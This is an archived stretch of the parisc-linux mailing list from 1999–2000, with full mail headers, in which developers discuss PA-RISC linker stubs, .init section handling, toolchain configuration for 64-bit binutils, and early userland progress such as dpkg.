> > One fairly simple work-around is to use -ffunction-sections when compiling,
> > as then you need a truely enormous function (> 4*2**(17-1) bytes long)
> > before you'll get "cannot reach stub"  Also, gcc has support for handling
> > even these enormous functions.
> 
> how about 
>   --split-by-reloc COUNT      Split output sections every COUNT relocs
> would that help?

No.  It would lead to the same problem as seen with the .init section.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: 04 Jul 2000 17:57:41 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <m3em591ji2.fsf@otr.mynet.cygnus.com>
References: <Pine.LNX.4.21.0007051019050.31061-100000@front.linuxcare.com.au>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by tm-edit 1.5)
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416618982 1242 80.91.229.3 (22 Nov 2014 01:16:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:22 +0000 (UTC)
Cc: bame@riverrock.org, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: drepper@cygnus.com  Tue Jul  4 18:56:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA03761
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Jul 2000 18:56:38 -0600
Original-Received: (qmail 15263 invoked by uid 15267); 5 Jul 2000 00:57:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15254 invoked from network); 5 Jul 2000 00:57:59 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 5 Jul 2000 00:57:59 -0000
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id RAA03416;
	Tue, 4 Jul 2000 17:57:41 -0700 (PDT)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id E0E1C30B4; Tue,  4 Jul 2000 17:57:41 -0700 (PDT)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Alan Modra's message of "Wed, 5 Jul 2000 10:36:07 +1000 (EST)"
Original-Lines: 14
X-Mailer: Gnus v5.6.45/XEmacs 21.1 - "Capitol Reef"
Xref: news.gmane.org gmane.linux.ports.parisc:7491

Alan Modra <alan@linuxcare.com.au> writes:

> The trouble is that _init is a single function that's been split in two
> (see glibc/csu/Makefile crti,crtn), thus the linker thinks it's quite OK
> to insert a stub at the start of the second section.  I'll have to do
> something special with the .init section to work around this problem.

Simply create an appropriate initfini.c file for HP/UX.  Look in the
current glibc sources and you'll see that we already do this for SH.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:12:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Tue, 04 Jul 2000 19:52:33 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <m139eMc-001VsnC@chalet>
References: <m3em591ji2.fsf@otr.mynet.cygnus.com>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618982 1243 80.91.229.3 (22 Nov 2014 01:16:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:22 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, parisc-linux@thepuffingroup.com
To: drepper@cygnus.com (Ulrich Drepper)
Original-X-From: bame@bame.riverrock.org  Tue Jul  4 19:54:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA04139
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Jul 2000 19:54:20 -0600
Original-Received: (qmail 11210 invoked by uid 15267); 5 Jul 2000 01:55:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11193 invoked from network); 5 Jul 2000 01:55:41 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 5 Jul 2000 01:55:41 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m139eMc-001VsnC@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Tue, 4 Jul 2000 19:52:34 -0600 (MDT) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "04 Jul 2000 17:57:41 PDT."
             <m3em591ji2.fsf@otr.mynet.cygnus.com>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:7492

= Alan Modra <alan@linuxcare.com.au> writes:
= 
= > The trouble is that _init is a single function that's been split in two
= > (see glibc/csu/Makefile crti,crtn), thus the linker thinks it's quite OK
= > to insert a stub at the start of the second section.  I'll have to do
= > something special with the .init section to work around this problem.
= 
= Simply create an appropriate initfini.c file for HP/UX.  Look in the
= current glibc sources and you'll see that we already do this for SH.

I don't think that'll work, because the parisc linker thinks it's allowed
to insert stubs in between separately-loaded things like functions.  The
use of .init from multiple .o files looks to the linker just like the
use of .text from multiple .o files.  I'd say there's a good chance the
linker might insert stubs *between* individual .init entries too (not
to mention .fini, and in general users can probably create arbitrary
segments to act similarly).

So unless we get to change how .init works (ugly hacks to gas perhaps?
I hope not) I think a special case in the linker is required.  I just
hope there's some sort of attribute on these magic kludge segments which
the linker can use rather than hard-coding the names or something.

Hopefully someone else has a better idea.

	-Paul Bame


From - Thu Nov 08 21:12:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Wed, 5 Jul 2000 11:55:47 +1000 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0007051151060.31061-100000@front.linuxcare.com.au>
References: <m3em591ji2.fsf@otr.mynet.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618982 1247 80.91.229.3 (22 Nov 2014 01:16:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:22 +0000 (UTC)
Cc: bame@riverrock.org, parisc-linux@thepuffingroup.com
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: alan@linuxcare.com.au  Tue Jul  4 19:54:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA04228
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Jul 2000 19:54:47 -0600
Original-Received: (qmail 11431 invoked by uid 15267); 5 Jul 2000 01:56:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11403 invoked from network); 5 Jul 2000 01:56:06 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 5 Jul 2000 01:56:06 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA00937;
	Wed, 5 Jul 2000 11:55:47 +1000
In-Reply-To: <m3em591ji2.fsf@otr.mynet.cygnus.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7493

On 4 Jul 2000, Ulrich Drepper wrote:

> Alan Modra <alan@linuxcare.com.au> writes:
> 
> > The trouble is that _init is a single function that's been split in two
> > (see glibc/csu/Makefile crti,crtn), thus the linker thinks it's quite OK
> > to insert a stub at the start of the second section.  I'll have to do
> > something special with the .init section to work around this problem.
> 
> Simply create an appropriate initfini.c file for HP/UX.  Look in the
> current glibc sources and you'll see that we already do this for SH.

Thanks for the hint.  It's probably a good idea.  Meanwhile, I've already
fixed the linker :)

Regards, Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Wed, 5 Jul 2000 12:38:00 +1000 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0007051204580.31061-100000@front.linuxcare.com.au>
References: <m139eMc-001VsnC@chalet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618983 1249 80.91.229.3 (22 Nov 2014 01:16:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@riverrock.org
Original-X-From: alan@linuxcare.com.au  Tue Jul  4 20:36:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA04841
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Jul 2000 20:36:50 -0600
Original-Received: (qmail 31260 invoked by uid 15267); 5 Jul 2000 02:38:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31230 invoked from network); 5 Jul 2000 02:38:10 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 5 Jul 2000 02:38:10 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA01883;
	Wed, 5 Jul 2000 12:38:00 +1000
In-Reply-To: <m139eMc-001VsnC@chalet>
Xref: news.gmane.org gmane.linux.ports.parisc:7494

On Tue, 4 Jul 2000 bame@riverrock.org wrote:

> So unless we get to change how .init works (ugly hacks to gas perhaps?
> I hope not) I think a special case in the linker is required.  I just
> hope there's some sort of attribute on these magic kludge segments which
> the linker can use rather than hard-coding the names or something.

The linker patch I just checked in to puffin cvs is of the "magic
kludge" variety.  ie. Input sections named .init* and .fini* are handled
specially.  A more general approach would be to group stubs by output
section, at least for output sections that are small enough to be sure
that the stubs can be reached.  The extra work to do this isn't that
difficult - but it's a bit more than my quick fix.

Regards, Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:12:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Document Priority? (fwd)
Date: Mon, 22 Mar 1999 13:46:23 -0800 (PST)
Lines: 26
Approved: news@gmane.org
Message-ID: <199903222146.NAA26888@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618983 1251 80.91.229.3 (22 Nov 2014 01:16:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:23 +0000 (UTC)
Cc: hppa-linux@thepuffingroup.com
To: billk@sr.hp.com, jason@equator.com
Original-X-From: jason@gatekeeper.equator.com  Mon Mar 22 16:47:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA12018
	for <hppa-linux@sod.res.cmu.edu>; Mon, 22 Mar 1999 16:47:57 -0500
Original-Received: (qmail 5151 invoked by uid 15267); 22 Mar 1999 21:46:55 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 5143 invoked from network); 22 Mar 1999 21:46:54 -0000
Original-Received: from gatekeeper.equator.com (jason@204.137.130.1)
  by mailserv2.iuinc.com with SMTP; 22 Mar 1999 21:46:54 -0000
Original-Received: (from jason@localhost)
	by gatekeeper.equator.com (8.9.1a/8.9.1) id NAA26888;
	Mon, 22 Mar 1999 13:46:23 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:7495


>
> |   4. Any bug reports that MUST be worked around by the OS. In particular,
> |      I believe the S-chip had problems that could not be ignored by the OS.
>
> I'm working on PCXL and other CPU docs.  I'll try to find someone that
> remebers the PCXS chip.
>

   I personally don't care much about S, but apparently the 720 and perhaps one
   or two other models used it. I know some of the people who tested the
   bootstrap code were running on 720's. We do want to cover a large portion
   of the spectrum of 700's and 800's....

>
> I'll try.  Assuming I can make PS from TROFF and TeX.
>

  For TeX it's trivial, there is at least one well known .dvi to .ps
  converter. Use your favorite search engine to find "dvips". Then perform
  "dvips -f < xyzzy.dvi > xyzzy.ps".

  As for TROFF, I believe GROFF can emit PostScript.

  Jason.


From - Thu Nov 08 21:12:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Tue, 04 Jul 2000 20:58:13 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <m139fO9-001VsoC@chalet>
References: <Pine.LNX.4.21.0007051019050.31061-100000@front.linuxcare.com.au>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618983 1252 80.91.229.3 (22 Nov 2014 01:16:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: bame@bame.riverrock.org  Tue Jul  4 20:59:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA05176
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Jul 2000 20:59:17 -0600
Original-Received: (qmail 9416 invoked by uid 15267); 5 Jul 2000 03:00:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9383 invoked from network); 5 Jul 2000 03:00:33 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 5 Jul 2000 03:00:33 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m139fO9-001VsoC@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Tue, 4 Jul 2000 20:58:13 -0600 (MDT) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Wed, 05 Jul 2000 10:36:07 JST."
             <Pine.LNX.4.21.0007051019050.31061-100000@front.linuxcare.com.au>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:7496


Success!!!

I just natively compiled and ran hello-world on a 712!!!  
I had to add milli.o by hand but that's not a difficult thing to fix.

	-P


From - Thu Nov 08 21:12:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patric Karlstrom <PATRIC_KARLSTROM@HP-Sweden-om1.om.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Wed, 05 Jul 2000 08:43:25 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <3962D90D.FCD2C15E@valhall.sweden.hp.com>
References: <m139fO9-001VsoC@chalet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618984 1255 80.91.229.3 (22 Nov 2014 01:16:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@riverrock.org
Original-X-From: PATRIC_KARLSTROM@HP-Sweden-om1.om.hp.com  Wed Jul  5 00:42:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA06938
	for <parisc-linux@puffin.external.hp.com>; Wed, 5 Jul 2000 00:42:21 -0600
Original-Received: (qmail 23392 invoked by uid 15267); 5 Jul 2000 06:43:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23297 invoked from network); 5 Jul 2000 06:43:29 -0000
Original-Received: from bramg1.net.external.hp.com (192.6.126.73)
  by mailserv2.iuinc.com with SMTP; 5 Jul 2000 06:43:29 -0000
Original-Received: from valhall.sweden.hp.com (valhall.sweden.hp.com [15.164.0.21])
	by bramg1.net.external.hp.com (Postfix) with ESMTP
	id 72B8A3C2; Wed,  5 Jul 2000 08:43:28 +0200 (METDST)
Original-Received: from valhall.sweden.hp.com (valhall.sweden.hp.com [15.164.0.21])
	by valhall.sweden.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with ESMTP id IAA06202;
	Wed, 5 Jul 2000 08:43:27 +0200 (METDST)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7497


Hello,

Just wanted to check if there exists a bootfloppy? I have a 715 without a harddrive and i want to be able to boot and then mount my rootfilesystem with nfs.

Regards
Patric Karlstrom


From - Thu Nov 08 21:12:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Wed, 5 Jul 2000 02:26:31 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20000705022631.T12436@vodka.thepuffingroup.com>
References: <m139fO9-001VsoC@chalet> <3962D90D.FCD2C15E@valhall.sweden.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618984 1257 80.91.229.3 (22 Nov 2014 01:16:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:24 +0000 (UTC)
Cc: bame@riverrock.org, parisc-linux@thepuffingroup.com
To: Patric Karlstrom <PATRIC_KARLSTROM@HP-Sweden-om1.om.hp.com>
Original-X-From: willy@localhost.localdomain  Wed Jul  5 01:30:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA07313
	for <parisc-linux@puffin.external.hp.com>; Wed, 5 Jul 2000 01:30:32 -0600
Original-Received: (qmail 13118 invoked by uid 15267); 5 Jul 2000 07:31:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13109 invoked from network); 5 Jul 2000 07:31:52 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost.localdomain) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 5 Jul 2000 07:31:52 -0000
Original-Received: (from willy@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id CAA19433;
	Wed, 5 Jul 2000 02:26:31 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <3962D90D.FCD2C15E@valhall.sweden.hp.com>; from Patric Karlstrom on Wed, Jul 05, 2000 at 08:43:25AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7498

On Wed, Jul 05, 2000 at 08:43:25AM +0200, Patric Karlstrom wrote:
> 
> Hello,
> 
> Just wanted to check if there exists a bootfloppy? I have a 715 without
> a harddrive and i want to be able to boot and then mount my rootfilesystem
> with nfs.

that already works fine.  edit the palo makefile to specify your NFS server
and you're away.

-- 
The Sex Pistols were revolutionaries.  The Bay City Rollers weren't.


From - Thu Nov 08 21:12:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Another step towards userland: dpkg
Date: 05 Jul 2000 13:18:42 -0400
Organization: Linuxcare, Inc.
Lines: 18
Approved: news@gmane.org
Message-ID: <87lmzgmr65.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618984 1258 80.91.229.3 (22 Nov 2014 01:16:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Wed Jul  5 11:18:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA12060
	for <parisc-linux@puffin.external.hp.com>; Wed, 5 Jul 2000 11:18:08 -0600
Original-Received: (qmail 2807 invoked by uid 15267); 5 Jul 2000 17:19:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2798 invoked from network); 5 Jul 2000 17:19:30 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 5 Jul 2000 17:19:30 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 139sos-0002nl-00
	for <parisc-linux@thepuffingroup.com>; Wed, 05 Jul 2000 13:18:42 -0400
Original-Lines: 17
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7499

I've gotten dpkg CVS to compile, sort of (it needs some coaxing since
we have static NSS):

# uname -a
Linux 10.160.240.101 2.3.99-pre8 #12 Wed Jul 5 11:31:23 EDT 2000 parisc unknown
# dpkg --version
Debian GNU/Linux `dpkg' package management program version 1.7.0 (parisc).
This is free software; see the GNU General Public Licence version 2 or
later for copying conditions.  There is NO warranty.
See dpkg --licence for copyright and license details.

Once I figure out dpkg-cross I'll see if I can build some actual
packages, starting from the stuff Matt Taggart has already set up.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] untested but building 64-bit toolchain, issues/questions
Date: 05 Jul 2000 18:25:35 -0400
Organization: Linuxcare, Inc.
Lines: 47
Approved: news@gmane.org
Message-ID: <87u2e4kye8.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618984 1260 80.91.229.3 (22 Nov 2014 01:16:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Wed Jul  5 16:25:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA15288
	for <parisc-linux@puffin.external.hp.com>; Wed, 5 Jul 2000 16:25:00 -0600
Original-Received: (qmail 21710 invoked by uid 15267); 5 Jul 2000 22:26:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21698 invoked from network); 5 Jul 2000 22:26:22 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 5 Jul 2000 22:26:22 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 139xbs-0006Uy-00
	for <parisc-linux@thepuffingroup.com>; Wed, 05 Jul 2000 18:25:36 -0400
Original-Lines: 46
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7500

Hi,

I've checked in some bits to get binutils-2.10 to build for 64-bit
Linux/ELF targets.  I have not even attempted to test it yet, but it
doesn't seem to break my 32-bit stuff.  Wherever possible I tried to
reuse the existing 64-bit HP/UX stuff, however I had to do some kludgy
things to work around problems in the way the configuration is set up.

I am using 'hppa2.0w-*-linux-gnu*' as the target architecture string,
so to build a cross-binutils for this target, use the following
configure command:

../binutils-2.10/configure --enable-64-bit-bfd --target=hppa2.0w-linux

I've only tested this in Linux/i386 for the time being.

A couple of questions:

1) What is the proper GNU architecture string for 64-bit Linux on
   PA-RISC?  On #parisc we sort of decided on using
   'hppa1.1-*-linux-*' for 32-bit Linux and 'hppa2.0w-*-linux-*' for
   64-bit Linux.  However the existing configuration files use some
   other strange pattern like 'hppa*64*-*-*' to configure for 64-bit
   PA-RISC.  Seeing as hppa2.0w is 64-bit by definition I don't think
   this makes much sense.

2) A corollary to this problem is that the choice of a 32- or 64-bit
   target in gas is determined at configure time rather than at
   runtime.  Every other architecture allows you to specify the
   architecture revision, code model, and word size on the assembler
   command line (it's the compiler that gets configured differently),
   and it would be nice if we could too.  Can anyone think of a reason
   why we cannot do this?

3) Finally, we use the 'linux' emulation for the assembler instead of
   the 'hppa' or 'hppa64' ones.  I had to kludge in a separate
   'linuxhppa64' target in order to get TARGET_WORD_SIZE defined
   properly.  Can anyone think of a better way to do this?  I think
   that merging the 32 and 64-bit code as noted above would be the
   Right Thing to do.

Cheers.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] untested but building 64-bit toolchain, 
 issues/questions
Date: Wed, 05 Jul 2000 16:39:42 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <7553.962836782@upchuck>
References: <87u2e4kye8.fsf@linuxcare.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618985 1263 80.91.229.3 (22 Nov 2014 01:16:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: law@upchuck.cygnus.com  Wed Jul  5 16:37:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA15570
	for <parisc-linux@puffin.external.hp.com>; Wed, 5 Jul 2000 16:37:29 -0600
Original-Received: (qmail 32143 invoked by uid 15267); 5 Jul 2000 22:38:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32128 invoked from network); 5 Jul 2000 22:38:51 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 5 Jul 2000 22:38:51 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id QAA07556;
	Wed, 5 Jul 2000 16:39:43 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of 05 Jul 2000 18:25:35 EDT.
             <87u2e4kye8.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7501

  In message <87u2e4kye8.fsf@linuxcare.com>you write:
  > 1) What is the proper GNU architecture string for 64-bit Linux on
  >    PA-RISC?  On #parisc we sort of decided on using
